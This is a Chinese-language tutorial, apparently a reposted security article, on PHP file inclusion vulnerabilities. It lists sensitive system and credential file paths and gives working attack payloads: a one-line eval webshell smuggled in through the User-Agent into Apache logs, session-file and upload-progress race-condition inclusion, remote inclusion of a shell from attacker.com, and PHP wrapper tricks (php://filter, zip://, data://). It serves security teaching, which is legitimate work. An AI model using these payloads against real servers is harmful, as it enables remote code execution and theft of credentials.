文章总结: 本文详述PHP文件包含漏洞原理、核心函数及利用方式。涵盖配合上传、日志、Session、条件竞争的本地利用与远程包含技术,并讲解目录穿越及PHP伪协议攻击技巧。内容技术密集,为安全人员提供了漏洞原理与防御思路,有助于深入理解Web文件操作风险。 综合评分: 83 文章分类: WEB安全,漏洞分析
3、PHP常用文件包含函数
require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
4、辅助函数
highlight_file():高亮显示文件完整源代码(直接输出到页面);
show_source():与highlight_file()功能一致,高亮显示文件源代码;
readfile():读取文件内容并直接输出到页面(无高亮);
file_get_contents():读取文件内容并返回字符串(可赋值给变量,不直接输出);
fopen() + fread():打开文件并读取指定长度内容(需配合关闭文件函数fclose());
file():读取文件内容,按行拆分为数组返回。
5、前置基础
目录穿越 ../
常见敏感文件路径:
Windows系统:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
Linux/Unix系统:
/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
5、本地文件包含
1、配合文件上传漏洞
有文件利用。上传含恶意代码的文件,利用文件包含解析执行恶意代码
利用文件上传等把恶意代码写入服务器本地文件,然后文件包含执行
eg: http://xxx.com/include.php?file=./upload/webshell.jpg
2、包含Apache日志文件(无文件利用,无上传点)
原理:Apache 会记录所有访问请求(如访问 IP、请求路径、User-Agent 等)到日志文件,攻击者可修改请求的User-Agent为 PHP 恶意代码,让 Apache 将其写入日志,再通过文件包含漏洞包含该日志文件,执行恶意代码。
利用条件:
知道 Apache 日志文件的存储路径(如/var/log/apache2/access.log);
对日志文件拥有「读权限」;
网站存在文件包含漏洞。
操作:
1、抓包,找到User-Agent字段,修改为 PHP 一句话木马
eg: User-Agent: <?php @eval($_POST['cmd'])?>
2、发送请求,让 Apache 将该User-Agent写入日志文件;
3、构造文件包含参数,访问 Apache 日志文件
eg : http://xxx.com/include.php?file=../../../../var/log/apache2/access.log
3、包含Session文件(无文件利用,无上传点)
PHP 的 Session 会将用户会话数据存储在服务器本地文件中,若 Session 中存在「可被用户控制的变量」,攻击者可将恶意 PHP 代码写入 Session 变量,让服务器将其保存到 Session 文件,再通过文件包含漏洞包含该 Session 文件,执行恶意代码。
利用条件:
知道存储路径
对session文件有读权限
Session 中存在可控变量,且PHPSESSID可获取(在请求 Cookie 中)。
关键信息:
Session 文件命名格式:sess_[PHPSESSID](如PHPSESSID=abc123,对应文件sess_abc123);
常见存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
php的session文件的保存路径可以在phpinfo的session.save_path看到。
操作:
1、查看请求Cookie中的PHPSESSID
2、将恶意 PHP 代码写入 Session 变量(如通过表单、URL 参数等可控入口);
3、确认 Session 文件已生成,访问
eg:http://xxx.com/include.php?file=../../../../tmp/sess_6e4f29a8d7f14f2b9c3d4e5f6a7b8c9d
4、利用PHP SESSION UPLOAD PROGRESS +条件竞争
原理:PHP_SESSION_UPLOAD_PROGRESS是 PHP 的一个特性,用于跟踪文件上传进度,攻击者可利用该特性将恶意代码写入 Session 文件,再通过「条件竞争」快速访问该 Session 文件,在其被销毁前完成文件包含,执行恶意代码并生成永久 WebShell。
步骤:
1、构造上传表单(写入恶意代码,生成 Session 文件):
2、打开 Burp Suite,抓取该表单的上传请求包,持续发送(生成 Session 文件);
3、构造文件包含请求
http://xxx.com/include.php?file=../../../../tmp/sess_[PHPSESSID]
6、远程文件包含(RFI)
PHP 配置文件php.ini中需满足以下两个条件(默认高版本 PHP 已关闭,低版本常见):
- allow_url_fopen = On(允许打开远程文件);
- allow_url_include = On(允许包含远程文件)。
攻击者在自己的服务器(如http://attacker.com/)上创建恶意 PHP 文件shell.php,内容为一句话木马:<?php @eval($_POST['cmd']); ?>
构造远程文件包含参数,访问目标网站:
http://xxx.com/include.php?file=http://attacker.com/shell.php
目标服务器包含并执行远程shell.php,使用蚁剑 / 菜刀连接,获取服务器权限。
7、PHP伪协议
#
1、file://协议: 用于访问本地文件系统,不受allow_url_fopen与allow_url_include的影响
2、php://协议:
php://filter用于读取源码
php://input用于执行php代码 (allow_url_include:on)
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
php://filter/convert.base64-encode/resource=文件路径
3、zip://协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://
zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt
4、data://协议
需要:allow_url_fopen :on allow_url_include:on
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:哦0吼 zoe zoe《文件包含》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论